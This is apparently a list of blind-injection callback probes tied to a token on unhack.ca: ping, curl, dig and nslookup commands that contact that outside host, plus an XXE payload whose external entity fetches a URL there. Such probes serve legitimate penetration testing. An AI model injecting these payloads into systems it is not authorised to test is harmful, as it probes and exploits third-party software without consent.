$ ping -c1 -p 008f64e59e0a7293dd0a04a5f11a6f00 unhack.ca
$ curl http://unhack.ca/p/8f64e59e0a7293dd0a04a5f11a6f
$ dig 8f64e59e0a7293dd0a04a5f11a6f @unhack.ca
$ dig 8f64e59e0a7293dd0a04a5f11a6f.ns.unhack.ca
C:\> nslookup 8f64e59e0a7293dd0a04a5f11a6f unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/8f64e59e0a7293dd0a04a5f11a6f">]> <foo>&xxe;</foo>